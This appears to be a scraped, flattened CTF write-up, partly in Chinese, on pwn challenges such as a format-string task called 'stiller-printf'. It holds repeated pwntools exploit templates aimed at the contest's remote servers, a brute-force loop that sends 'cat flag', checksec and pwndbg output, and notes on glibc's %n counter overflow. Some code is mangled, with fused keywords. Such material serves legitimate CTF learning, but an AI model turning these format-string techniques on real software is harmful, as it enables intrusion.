context.os='linux' #context.log_level = 'debug' if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc-2.31.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) # lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr)) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 0 if local: p = process(challenge) #p = gdb.debug(challenge, b) else: p = remote('litctf.org','31772') defdebug(): #gdb.attach(p) gdb.attach(p,"b *$rebase(0x12C4)\n") pause() defcmd(op): sla(">",str(op))
context.os='linux' #context.log_level = 'debug' if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) #libc = ELF('libc-2.31.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) # lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr)) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 0 if local: p = process(challenge) #p = gdb.debug(challenge, b) else: p = remote('litctf.org','31791') defdebug(): #gdb.attach(p) gdb.attach(p,"b *$rebase(0x1238)\n") pause() defcmd(op): sla(">",str(op))
context.os='linux' #context.log_level = 'debug' if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) #libc = ELF('libc-2.31.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) # lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr)) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 0 if local: p = process(challenge) #p = gdb.debug(challenge, b) else: p = remote('litctf.org','31778') defdebug(): #gdb.attach(p) gdb.attach(p,"b *$rebase(0x1668)\n") pause() defcmd(op): sla(">",str(op))
GNU C Library(Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1 2 3 4 5 6
s: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1bf9e09eafed1670b2cc74bb1f662031a0a6796c, for GNU/Linux 3.2.0, not stripped Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
i = 0 while(1): try: i = i + 1 print(i) #p = remote('1.13.101.243','25752') p = process(challenge) pwn() sl("cat flag") flag = ru("}") print(flag) break except: p.close()
p.interactive()
stiller-printf
1
GNU C Library(Ubuntu GLIBC 2.36-0ubuntu4) stable release version 2.36.
1 2 3 4 5 6
stiller-printf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a6ab53bcdd0f2439e5ecf85bff7b3d5a43048e1, for GNU/Linux 3.2.0, not stripped Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
defcheck(payload): f = open('secret.txt', 'wb') token = secrets.token_hex(0x40).encode() f.write(token) f.close() con = pwn.process("./stiller-printf", stdout=open('/dev/null', 'wb')) con.sendline(payload) ret = con.poll(True) == 0 con.close() try: f = open('win.txt', 'rb') ret = f.read() == token and ret f.close() return ret except FileNotFoundError: returnFalse
total = 150 passed = sum([check(payload) for _ in tqdm(range(total))]) print(f"Total: {total} Passed: {passed}") if passed > 58: print("CONSISTENT ENOUGH FOR ME :D") print("LITCTF{FLAG}") exit(0) print("NOT CONSISTENT ENOUGH") exit(1)
pwndbg> fmtarg 0x7ffed951a5f8 The index of format argument : 44 ("\%43$p") pwndbg> fmtarg 0x7ffed951a618 The index of format argument : 48 ("\%47$p") pwndbg> fmtarg 0x7ffed951a658 The index of format argument : 56 ("\%55$p") pwndbg> fmtarg 0x7ffed951a6e8 The index of format argument : 74 ("\%73$p") pwndbg> fmtarg 0x7ffed951a6f8 The index of format argument : 76 ("\%75$p")
staticinlineint done_add_func(size_t length, int done) { if (done < 0) return done; int ret; if (INT_ADD_WRAPV (done, length, &ret)) { __set_errno (EOVERFLOW); return-1; } return ret; }
这是负责管理 %n 计数器的函数,done 变量是 printf 的 %n 的计数器
当它检测到整数溢出时,printf 将退出,并且由于使用了 int 数据类型
当我们尝试打印太多时,printf 将过早退出
测试案例如下:
1 2 3 4 5 6 7 8 9
#include<stdio.h>
intmain(){ long a = 0; long b = 0; printf("%*1$c%2$lln\n", 0x80000000, &a); printf("%*1$c%2$lln\n", 0x70000000, &b); fprintf(stderr, "a:0x%lx\nb:0x%lx\n", a,b); }